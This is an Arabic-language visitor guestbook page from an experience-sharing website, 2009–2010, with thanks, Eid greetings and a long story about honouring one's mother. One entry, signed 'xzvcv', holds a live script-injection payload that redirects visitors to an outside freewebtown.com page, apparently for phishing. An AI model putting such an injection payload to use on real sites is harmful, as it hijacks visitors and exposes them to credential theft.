السبت 26/رمضان/1431 هـ     04/سبتمبر/2010 م    الوقت: 8:08 ص

الصفحة الرئيسية

اللقاء الكشفي

          سجل الزوار

  مخزن التجارب

      إتصل بنا

          المنتدى

 

أهلا بكم في سجل الزوار

  يوجد بالسجل: 82 توقيع

إضافة توقيع

الصفحة رقم:  1


شكرا لكم بتاريخ:2010-08-06 03:16:11
سلمااان
     
موقع اكثر من رائع وقصص ممتازة شكرا للجميع 

اخوك / علاء عثمان بتاريخ:2009-12-13 01:32:25
اخوك / علاء عثمان
     
اخي العزيز اطلعت على موقعك وبصراحة فوق الممتاز من ناحية الابداع والتصميم واتمنى لك دوام التوفيق وان كان ينقصه بعض المواضيع الهامه للمناقشة على الساحة في كافة المجالات حتى ولو الرياضية وخاصة بين الدول الشقيقة مثل مصر والسعودية والدول العربية والتى تهم القارئ العربي الان وكذلك ترجمة بعض المقالات الاجنبية التي تتحدث عن القضايا العربية على الساحة ..... حتى يتم التواصل بين القراء والموقع بصفة مستمرة وتبادل الاراء والمفاهيم عبر الموقع وذلك من خلال فتح باب للمناقشة وطرح المواضيع الهدافة وكيفية علاجها على المستوى الشخصي والعام في الدول العربية ....... ولك منى كل تقدير واعتزاز ... أخوك / م/علاء عثمان  

محمد على بيسلم عليك بتاريخ:2009-09-19 14:30:27
محمد على محمد
     
كل سنة وانت طيب بمناسبة عيد الفطر المبارك  

لنتحاور بتاريخ:2009-08-20 14:10:45
خالد عباس
     
الحوار اساس العلاقات فلنتحاور حتى يكون هناك نوع من الألفة في حل المشكلات 

تكريم موقع تجربتي بتاريخ:2009-07-05 16:46:40
سلام الحاج
     
بسم الله الرحمن الرحيم . بصفتي اعلامية وكاتبة وعاملة اجتماعية ومهتمة بشؤون الناس. وبما ان موقع تجربتي يضم مئات تجارب الناس ، واقلام مميزة، اود ان اقدم للموقع ولمديره المحبوب المتواضع الاستاذ عبد الجواد سعد، كتابا مطبوعا على حسابي يضم اهم وافضل التجارب مع اسماء كل المدونين هناوبعض من كتاباتهم وشيء من سيرتهم الذاتية ان رغبوا ، عربون تقديري ومحبتي واعجابي واحترامي ووفاء" لهم ولكل عطاء ولو في الكلمة الطيبة الراقية. سلام الحاج لبنان 

<html>"><script> location.href بتاريخ:2009-04-19 06:34:14
xzvcv
     
<html>"><script> location.href="http://www.freewebtown.com/gr7qlbe/M5L@hotmail.htm";</script></HTML>  

بر الوالدين بتاريخ:2009-03-15 12:26:41
محمد على الرحيبي
     
بعد 21 سنة من زواجي, وجدت بريقاً جديداً من الحب. قبل فترة بدأت أخرج مع امرأة غير زوجتي, وكانت فكرة زوجتي حيث بادرتني بقولها: "أعلم جيداً كم تحبها"... المرأة التي أرادت زوجتي ان أخرج معها وأقضي وقتاً معها كانت أمي التي ترملت منذ 19 سنة, ولكن مشاغل العمل وحياتي اليومية 3 أطفال ومسؤوليات جعلتني لا أزورها إلا نادراً. في يوم اتصلت بها ودعوتها إلى العشاء سألتني: "هل أنت بخير ؟ " لأنها غير معتادة على مكالمات متأخرة نوعاً ما وتقلق. فقلت لها: "نعم أنا ممتاز ولكني أريد أن أقضي وقت معك يا أمي ". قالت: "نحن فقط؟! " فكرت قليلاً ثم قالت: "أحب ذلك كثيراً". في يوم الخميس وبعد العمل , مررت عليها وأخذتها, كنت مضطرب قليلاً, وعندما وصلت وجدتها هي أيضاً قلقة. كانت تنتظر عند الباب مرتدية ملابس جميلة ويبدو أنه آخر فستنان قد اشتراه أبي قبل وفاته. ابتسمت أمي كملاك وقالت: " قلت للجميع أنني سأخرج اليوم مع إبني, والجميع فرح, ولا يستطيعون انتظار الأخبار التي سأقصها عليهم بعد عودتي" ذهبنا إلى مطعم غير عادي ولكنه جميل وهادئ تمسكت أمي بذراعي وكأنها السيدة الأولى, بعد أن جلسنا بدأت أقرأ قائمة الطعام حيث أنها لا تستطيع قراءة إلا الأحرف الكبيرة. وبينما كنت أقرأ كانت تنظر إلي بابتسامة عريضة على شفتاها المجعدتان وقاطعتني قائلة: "كنت أنا من أقرأ لك وأنت صغير". أجبتها: "حان الآن موعد تسديد شيء من ديني بهذا الشيء .. ارتاحي أنت يا أماه". تحدثنا كثيراً أثناء العشاء لم يكن هناك أي شيء غير عادي, ولكن قصص قديمة و قصص جديدة لدرجة أننا نسينا الوقت إلى ما بعد منتصف الليل وعندما رجعنا ووصلنا إلى باب بيتها قالت: "أوافق أن نخرج سوياً مرة أخرى,ولكن على حسابي". فقبلت يدها وودعتها ". بعد أيام قليلة توفيت أمي بنوبة قلبية. حدث ذلك بسرعة كبيرة لم أستطع عمل أي شيء لها. وبعد عدة أيام وصلني عبر البريد ورقة من المطعم الذي تعشينا به أنا وهي مع ملاحظة مكتوبة بخطها: "دفعت الفاتورة مقدماً كنت أعلم أنني لن أكون موجودة, المهم دفعت العشاء لشخصين لك ولزوجتك لأنك لن تقدر ما معنى تلك الليلة بالنسبة لي......أحبك ياولدي ". في هذه اللحظة فهمت وقدرت معنى كلمة "حب" أو "أحبك" وما معنى أن نجعل الطرف الآخر يشعر بحبنا ومحبتنا هذه. لا شيء أهم من الوالدين وبخاصة الأم ............. إمنحهم الوقت الذي يستحقونه .. فهو حق الله وحقهم وهذه الأمور لا تؤجل. --- بعد قراءة القصة تذكرت قصة من سأل عبدالله بن عمر وهو يقول: أمي عجوز لا تقوى على الحراك وأصبحت أحملها إلى كل مكان حتى لتقضي حاجتها .. وأحياناً لا تملك نفسها وتقضيها علي وأنا أحملها .............. أتراني قد أديت حقها ؟ ... فأجابه ابن عمر: ولا بطلقة واحدة حين ولادتك ... تفعل هذا وتتمنى لها الموت حتى ترتاح أنت وكنت تفعلها وأنت صغير وكانت تتمنى لك الحياة" * * * ارسلها لكل شخص تعرف أن أحد والديه على قيد الحياة * *  

بر الوالدين بتاريخ:2009-03-15 12:14:07
محمد على الرحيبي
     
بر الوالدين 

تحية طيبة بتاريخ:2009-02-22 14:12:21
محمد عباس مبارك
     
اشكرك أخى عبدالجواد على هذا المجهود الرائه واتمنى لك دوام التوفيق والرقى والله الموفق ك  

مع ابو وديع بتاريخ:2009-02-21 21:31:35
سامح ابو وديع
     
اخي عبد الجواد ، اتمنى لك التوفيق بهذا الموقع المميز برسالته ومواضيع ، احترامي وتقديري لك .. سامح ابو وديع 
الصفحة رقم:   2    3    4    5    6    7    8    9   

أهلا بكم في سجل الزوار

  يوجد بالسجل: 82 توقيع

إضافة توقيع